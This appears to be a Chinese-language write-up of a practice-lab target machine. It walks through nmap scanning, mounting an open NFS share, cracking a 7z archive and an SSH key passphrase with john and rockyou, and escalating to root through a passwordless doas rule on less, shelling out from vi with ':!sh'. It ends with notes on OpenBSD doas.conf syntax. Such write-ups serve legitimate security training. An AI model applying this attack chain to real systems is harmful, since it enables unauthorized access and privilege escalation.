这台靶机的知识点有nfs渗透,john破解转换hash文件的.7a和rsa,doas中的less+vi提权
常规端口扫描
nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.143
nmap -sT -sV -O -sC -p22,111,2049 10.10.10.143
nmap -sU --min-rate 10000 -p- 10.10.10.143
nmap --script=vuln -p22,111,2049 10.10.10.143
发现靶机的ip是10.10.10.143,开放了3个端口,分别是22的ssh端口,111的rpc端口,2049的nfs共享文件端口
NFS渗透
使用showmount工具查看靶机是否有共享文件夹
showmount -e 10.10.10.143
可以看到共享目录是/home/user/storage,同时(everyone)表明任何人都可使用此共享目录
本地创建tmp目录,尝试挂载
mkdir tmp
mount -t nfs 10.10.10.143:/home/user/storage tmp
-t是type的意思,指定为nfs共享文件模式
成功挂载,接下来看一下挂载的目录里面有什么东西
拿到backup.7z后,把这个文件复制到上级目录(避免在挂载目录处理留下痕迹),看起来是个7z的压缩包,我们先用file查看具体的文件类型,并用binwalk看看有啥捆绑:
没有什么感兴趣的,接下来尝试解压他
破解7z压缩包密码
7z -x backup.7z
直接利用7z解压提示需要密码,暂时没有有关密码的凭证
随便尝试输入一个,会出现报错信息,将里面的文件暴露出来,有8张图片和两个文件(id_rsa,id_rsa.pub),嗯,这两个像ssh公私钥的文件很感兴趣
接下来尝试利用john转换格式爆破(这个方式很好用)
1.先用7z2john生成7z压缩包的哈希
7z2john backup.7z > backup7z_hash
如果出现这种报错
解决方法:
sudo apt update
sudo apt install libcompress-raw-lzma-perl
然后删掉错误生成的backup7z_hash,再次运行7z2john backup.7z > backup7z_hash应该就不会有报错了。查询结束。
2.利用john破解hash文件
john --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z_hash
得到压缩包的密码是chocolate
将压缩包解压,先不着急利用公私钥文件,看看那8张图片有没有让人惊喜的地方
看看有没有捆绑
binkwalk hello*.*
没有捆绑
看看隐写
exiftool hell*.*
没啥东西,让我们试试公私钥文件吧
ssh私钥登录
查看一下,是openssh的密钥
ssh -i id_rsa user@10.10.10.143
连接需要密码(user用户是咱们上面挂载文件夹下有个user目录,猜测有个用户是user)
让我们破解一下d_rsa私钥的密码,思路和破解压缩包是一样的
ssh2john id_rsa > id_rsa_hash
john id_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt
拿到了私钥的passphrase是12345678
再次登入
less+vi提权
还是常规的提权枚举
在find / -perm -u=s -type f 2>/dev/null查找suid的方法找到感兴趣的东西
这里要重点关注doas这个指令,该指令类似于sudo,即以高权限运行指令需要添加的命令。由于doas指令是具有s位的,因此使用doas可以以高权限运行指令。我们要查找的就是有哪些指令可以免密doas运行(即类似于ubuntu/debian的Linux运行sudo -l 后有哪些免密sudo的指令),这就需要查找doas的配置信息了。我们直接用find搜索doas的相关文件:
find / -name doas* -type f 2>/dev/null
doas.conf应该就是doas的配置文件了,查看一下它
非常关键的信息!这个文件告诉我们,less和authlog指令是可以用doas免密以root权限运行的!那我们就运行试试:
doas /usr/bin/less /var/log/authlog
发现在执行用less读取authlog的操作
那么要如何提权呢?此处我们是使用less命令对authlog进行查看,且此时less命令是具有root权限的。但less只能读文件,不能执行系统命令。我们要找可以交互的地方,在less中按字母v是可以启动vi编辑器的,而vi编辑器中输入冒号:后即可输入交互的指令,又由于less具有root权限,在less中启动的vi编辑器应该也具有root权限,那么我们按v进入vi编辑器后,输入:!sh应该就能够以root身份启动shell了。
成功提权
扩展
OpenBSD 是⼀个基于 Berkeley Software Distribution (BSD) 的开源操作系统,强调正确性、简单性和安全性。这个系统中的 "doas" 是⼀个命令⾏⼯具,设计⽤来提供超级⽤户权限(类似于 Linux 中的"sudo" 命令),允许普通⽤户执⾏需要超级⽤户权限的操作。
"doas" 的配置⽂件默认位置是 /etc/doas.conf 。此配置⽂件规定了哪些⽤户可以使⽤ "doas" 命令以及他们可以执⾏的命令范围。
⼀个基本的 "doas.conf" ⽂件的条⽬可能会如下所示:
permit keepenv :wheel
这个条⽬允许 "wheel" 组的所有成员使⽤ "doas" 命令执⾏任何操作,并保留他们的环境变量。
"doas.conf" ⽂件的每⼀⾏都代表⼀个规则,这些规则按照⽂件中的顺序进⾏处理。⼀旦找到⼀个匹配的规则,系统就会停⽌搜索,所以具有最⼤限制的规则通常会放在⽂件的顶部。
更复杂的规则可以限制⽤户能够运⾏的具体命令,例如:
permit nopass jsmith as root cmd reboot
这个规则允许⽤户 "jsmith" 不需要密码就可以作为 root ⽤户运⾏ "reboot" 命令。
请注意,修改 "doas.conf" ⽂件需要超级⽤户权限,并且⼀定要谨慎处理,因为错误的配置可能会导致系统安全性的问题。